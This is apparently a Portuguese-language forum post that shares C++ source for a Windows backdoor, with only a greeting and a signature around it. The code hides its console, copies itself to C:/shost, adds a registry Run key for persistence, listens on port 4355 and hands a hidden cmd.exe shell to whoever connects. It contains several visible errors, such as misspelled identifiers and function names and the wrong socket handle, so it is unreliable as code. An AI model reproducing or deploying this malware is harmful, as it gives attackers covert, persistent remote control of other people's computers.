Oi...
Att #M0rph... (:
Código:
#include <WinSock2.h> #include <iostream> #include <string> #include <direct.h> #include <windows.h> using namespace std; #pragma comment(lib, "ws2_32.lib") int main() { //Console invisivel HWND stealth; AllocConsole(); stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(stealth, 0); char diretorio[] = "C:/shost"; if(mkdir(diretorio) == -1){ cout << "Erro: " << strerror(errno) << endl; } else{ cout << "Diretório criado com sucesso" << endl; } // local atual CHAR local_atual[] = "net_.exe"; // novo local CHAR novo_local[] = "C:/shost/net_.exe"; // vamos mover o arquivo if(MoveFile(local_atual, novo_local)){ cout << "Arquivo movido com sucesso." << endl; system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v shost /t REG_SZ /d C:/shost/net_.exe /f"); Sleep(1000); } else{ cout << "Erro ao mover o arquivo: " << GetLastError() << endl; } SOCKET sock; sockaddr_in addr; STARTUPINFO ini_info; PROCESS_INFORMATION proc_info; WORD wVersionRequested; WSADATA wsData; wVersionRequested = MAKEWORD(2, 1); if(WSAStartup(wVersionRequested, &wsaData) != 0) return 0; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock == INVALID_SOCKET) return 0; memset(&adr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(4355); if(bind(sock, (sockddr*)&addr, sizeof(addr)) < 0) return 0; if(listen(sock, 1) < 0) return 0; sockaddr_in client; int len = sizeof(client); SOCKET sock2 = accept(sock, (sockaddr*)&client, &len); ZeroMemory(&ini_info, sizeof(STARTUPINFO)); ZeroMemory(&proc_info, sizeof(PROCESS_INFORMATION)); ini_info.cb = sizeof(STARTUPINFO); ini_info.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; ini_info.ShowWindow = SW_HIDE; ini_info.hStdInput = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock; CreateProces(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &ini_info, &proc_info); return 0; }
Att #M0rph... (:
Comment